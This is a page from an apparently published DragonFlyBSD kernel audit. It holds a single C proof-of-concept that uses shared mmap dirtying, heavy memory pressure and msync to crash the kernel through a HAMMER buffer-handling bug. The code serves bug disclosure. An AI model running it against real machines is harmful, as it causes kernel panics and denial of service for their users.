DragonFlyBSD Kernel Audit
DF-3000 / op3000c.c
← back to finding ↓ download raw
/*
 * DF-3000 PoC (attempt 3): memory-pressure variant.
 *
 * Dirty ALL pages of the file via MAP_SHARED (pages dirty -> survive page
 * reclaim), then apply heavy anon memory pressure (~75% of physmem) so the
 * page daemon recycles the clean 16K buffers and reclaims every clean page
 * (including the beyond-EOF tail pages of the last partial block), then
 * force putpages via msync(MS_SYNC) (the daemon usually beats us to it).
 *
 * On the vulnerable path: getblk() in the UIO_NOCOPY branch of
 * hammer_vop_write() returns !B_CACHE (missing sibling pages), hammer does
 * bqrelse(bp) + bread(&bp), breadnx reuses the released buffer, and the
 * final bwrite()/bawrite() panics with "buffer is not busy".
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/sysctl.h>

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000c.bin";
	size_t size = 1 << 20;		/* 1MB: last block partial (size+8K) */
	size_t fsize = size + 8192;
	unsigned long physmem;
	size_t len = sizeof(physmem);
	char *w, *big, *p;

	setvbuf(stdout, NULL, _IONBF, 0);
	sysctlbyname("hw.physmem", &physmem, &len, NULL, 0);
	printf("physmem = %lu MiB\n", physmem >> 20);

	int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }
	if (ftruncate(fd, fsize)) { perror("ftruncate"); return 1; }

	w = mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
	if (w == MAP_FAILED) { perror("mmap"); return 1; }

	/* fault everything in clean first (full 16K blocks get buffers) */
	memset(w, 0, fsize);
	if (msync(w, fsize, MS_SYNC)) perror("msync fill");

	/* dirty EVERY page (they will survive reclaim) */
	for (size_t off = 0; off < fsize; off += 4096)
		w[off] = (char)off;
	printf("all pages dirtied (%zu bytes)\n", fsize);

	/* apply anon pressure: touch ~70% of RAM */
	size_t bigsz = (physmem / 4) * 3 & ~4095UL;
	big = mmap(NULL, bigsz, PROT_READ|PROT_WRITE,
		   MAP_ANON | MAP_SHARED, -1, 0);
	if (big == MAP_FAILED) {
		printf("big mmap %zu: %s\n", bigsz, strerror(errno));
	} else {
		for (p = big; p < big + bigsz; p += 4096)
			*p = 1;
		printf("anon pressure %zu MiB touched\n", bigsz >> 20);
	}

	printf("msync(MS_SYNC) [putpages]...\n");
	if (msync(w, fsize, MS_SYNC))
		printf("msync: %s\n", strerror(errno));
	else
		printf("msync: OK\n");

	munmap(w, fsize);
	if (big != MAP_FAILED) munmap(big, bigsz);
	close(fd);
	unlink(path);
	printf("done\n");
	return 0;
}